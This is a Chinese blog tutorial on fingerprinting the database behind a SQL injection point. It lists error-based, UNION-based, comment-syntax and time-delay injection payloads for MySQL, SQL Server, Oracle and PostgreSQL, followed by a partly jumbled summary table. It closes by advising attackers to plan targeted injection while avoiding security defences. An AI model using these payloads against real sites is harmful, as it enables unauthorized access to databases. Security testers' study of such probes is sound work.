SQL注入点判断数据库类型

目录

​1. 错误信息法

​2. 字符串连接符

​3. 注释语法

​4. 系统表查询

​5. 版本查询函数

​6. 时间盲注函数

​7. 数值函数测试

​8. 数据类型转换

​​9. 常用端口

​10. ​​网站开发语言

总结表

 


根据SQL注入点判断数据库类型通常可以通过以下方法实现,这些方法基于不同数据库系统的特性和语法差异:

1. 错误信息法

  • 原理:不同数据库的报错信息会包含特定的关键词。
  • 示例
    ' OR 1=1 --
    • MySQL:可能返回 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version...
    • Oracle:可能返回 ORA-00933: SQL command not properly ended
    • SQL Server:可能返回 Incorrect syntax near '--'.

2. 字符串连接符

  • 原理:不同数据库的字符串连接符不同。
  • 示例
    ' || 'abc' --
    • MySQL:默认不支持 ||(除非启用ANSI模式),需用 CONCAT()
    • Oracle/SQLite/PostgreSQL:支持 ||
    • SQL Server:使用 +(如 'abc' + 'def')。

3. 注释语法

  • 原理:不同数据库的注释符号可能不同。
    ' -- (SQL Server、Oracle、PostgreSQL)
    ' # (MySQL)

4. 系统表查询

  • 原理:不同数据库的系统表名不同。
  • 示例
    UNION SELECT table_name FROM information_schema.tables -- (MySQL/PostgreSQL)
    UNION SELECT table_name FROM all_tables -- (Oracle)
    UNION SELECT name FROM sysobjects -- (SQL Server)

5. 版本查询函数

  • 原理:不同数据库的版本查询语句不同。
  • 示例
    UNION SELECT @@version -- (SQL Server/MySQL)
    UNION SELECT version() -- (PostgreSQL)
    SELECT banner FROM v$version -- (Oracle)

6. 时间盲注函数

  • 原理:不同数据库的延迟函数不同。
  • 示例
    '; WAITFOR DELAY '0:0:5' -- (SQL Server)
    ' OR SLEEP(5) -- (MySQL)
    ' OR pg_sleep(5) -- (PostgreSQL)
    ' OR DBMS_LOCK.SLEEP(5) -- (Oracle)

7. 数值函数测试

  • 原理:部分函数为某数据库独有。
  • 示例
    ' AND LEN('abc')=3 -- (SQL Server)
    ' AND LENGTH('abc')=3 -- (MySQL/PostgreSQL/Oracle)

8. 数据类型转换

  • 原理:不同数据库的隐式转换规则不同。
  • 示例
  • ' AND 1=CAST('1' AS INT) -- (SQL Server/PostgreSQL)
    ' AND 1=CAST('1' AS SIGNED) -- (MySQL)

​​9. 常用端口

  •  原理:不同数据库的常用端口不同。
  • 示例

    ​​MySQL​​:3306

    ​​Oracle​​​​:1521

    ​​SQL Server​​:1433

    ​​PostgreSQL​​​​:5432

    ​​Access​​:无独立端口,通过ODBC或文件共享访问

​10. ​​网站开发语言

  •  原理:不同数据库的常用网站开发语言不同。
  • 示例

​​MySQL​​:PHP、Python、Java(常见于LAMP/LNMP架构)

​​Oracle​​​​:Java、.NET(企业级应用常见)

​​SQL Server​​​​:ASP/.NET(微软技术栈)

​​PostgreSQL​​​​:Python、Ruby、Java(GIS、数据分析场景常见)

​​Access​​​​:ASP/ASPX(传统小型应用)

总结表

特征​​MySQL​​SQL Server​​Oracle​​PostgreSQL​
​字符串连接​CONCAT() 或 ``(ANSI模式)+
​注释符​# 或 --+------ 或 /* */
​版本查询函数​version() 或 @@version@@versionSELECT banner FROM v$versionversion()
​时间盲注函数​SLEEP(5) 或 BENCHMARK()WAITFOR DELAY '0:0:5'DBMS_LOCK.SLEEP(5)

pg_sleep(5)
​系统表/元数据​information_schema.TABLESsysobjectssys.user_tables 或 v$versionpg_catalog
​特有函数​IF()IIF()

TO_CHAR()CURRENT_DATE
​长度函数​LENGTH()LEN()LENGTH()LENGTH()
​端口​3306143315215432
​开发语言PHP/Python/JavaASP/.NETJava/.NETPython/Ruby/Java

 


通过结合上述方法,可以快速判断目标数据库类型,从而制定针对性的注入策略。注意实际测试时需谨慎,避免触发安全防护机制。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值